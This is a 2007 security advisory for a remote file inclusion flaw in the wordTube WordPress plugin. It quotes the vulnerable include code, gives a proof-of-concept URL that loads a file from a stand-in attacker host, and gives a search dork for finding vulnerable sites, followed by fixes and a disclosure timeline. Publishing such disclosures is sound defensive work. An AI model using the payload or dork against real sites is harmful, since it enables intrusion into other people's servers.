WordPress Plugin wordTube 1.43 - 'wpPATH' Remote File Inclusion

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[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability
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Author         : M.Hasran Addahroni
Date           : April, 30th 2007
Location       : Australia, Sydney
Web            : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
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Affected software description:
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Application   : wordTube
version       : <= 1.43
Vendor        : http://alexrabe.boelinger.com/?page_id=20
Description :

This plugin creates your personal YouTube plugin for wordpress.
wordTube supports the streaming video format (Format .flv or .swf),
sound files as MP3 and JPG, GIF or PNG grafic files.

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Vulnerability:
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- Invalid include function at wordtube-button.php :

----------------wordtube-button.php-------------------
...

*/
// get and set path of function

if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');
...
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Input passed to the "wpPATH" parameter in wordtube-button.php is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.




Poc/Exploit:
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http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil?

Google dork:
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"inurl:/plugins/wordtube"


Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version

Notification:
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- 30-04-2007 bugs found
- 30-04-2007 vendor contacted
-  1-05-2007 advisory released

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